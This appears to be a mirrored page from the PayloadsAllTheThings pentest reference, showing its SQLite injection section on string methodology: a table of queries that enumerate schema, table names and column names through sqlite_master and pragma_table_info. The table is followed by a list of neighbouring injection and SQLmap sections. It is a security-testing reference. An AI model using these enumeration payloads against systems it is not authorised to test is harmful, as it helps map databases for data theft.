Skip to content
BackEsc
Sign in

SQL Injection · passage 159 of 186

SQLite Injection: SQLite String Methodology

Text · SQL Injection/SQLite Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

| Description | SQL Query | | ---------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | | Extract Database Structure | `SELECT sql FROM sqlite_schema` | | Extract Database Structure (sqlite_version > 3.33.0) | `SELECT sql FROM sqlite_master` | | Extract Table Name | `SELECT tbl_name FROM sqlite_master WHERE type='table'` | | Extract Table Name | `SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'` | | Extract Column Name | `SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'` | | Extract Column Name | `SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');` | | Extract Column Name | `SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<TABLE_NAME>'` | | Extract Column Name | `SELECT name FROM PRAGMA_TABLE_INFO('<TABLE_NAME>')` |

Source: SQL Injection/SQLite Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 157 to 182, reading order first.

  1. SQLite Injection: SQLite Comments§ 157text · SQLite Injection.md
  2. SQLite Injection: SQLite Enumeration§ 158text · SQLite Injection.md
  3. SQLite Injection: SQLite String Methodology§ 159text · SQLite Injection.md
  4. SQLite Injection: SQLite Blind Methodology§ 160text · SQLite Injection.md
  5. SQLite Injection: SQLite Blind With Substring Equivalent§ 161text · SQLite Injection.md
  6. SQLite Injection: SQlite Error Based§ 1621 code block · SQLite Injection.md
  7. SQLite Injection: SQlite Time Based§ 1631 code block · SQLite Injection.md
  8. SQLite Injection: Attach Database§ 1643 code blocks · SQLite Injection.md
  9. SQLite Injection: Loadextension§ 1653 code blocks · SQLite Injection.md
  10. SQLite Injection: SQLite Read File§ 166text · SQLite Injection.md
  11. SQLite Injection: SQLite Write File§ 1671 code block · SQLite Injection.md
  12. SQLmap: SQLmap§ 168text · SQLmap.md
  13. SQLmap: Basic Arguments For SQLmap§ 1691 code block · SQLmap.md
  14. SQLmap: Load A Request File§ 1701 code block · SQLmap.md
  15. SQLmap: Custom Injection Point§ 1711 code block · SQLmap.md
  16. SQLmap: Second Order Injection§ 1721 code block · SQLmap.md
  17. SQLmap: Getting A Shell§ 173text · SQLmap.md
  18. SQLmap: Crawl And Auto-Exploit§ 1741 code block · SQLmap.md
  19. SQLmap: Proxy Configuration For SQLmap§ 1751 code block · SQLmap.md
  20. SQLmap: Injection Tampering§ 176text · SQLmap.md
  21. SQLmap: Suffix And Prefix§ 1771 code block · SQLmap.md
  22. SQLmap: Default Tamper Scripts§ 1781 code block · SQLmap.md
  23. SQLmap: Custom Tamper Scripts§ 1791 code block · SQLmap.md
  24. SQLmap: Custom SQL Payload§ 1801 code block · SQLmap.md
  25. SQLmap: Evaluate Python Code§ 1811 code block · SQLmap.md
  26. SQLmap: Preprocess And Postprocess Scripts§ 1821 code block · SQLmap.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

CyberSIXTSignal over noise
Updated AboutDevelopersSign in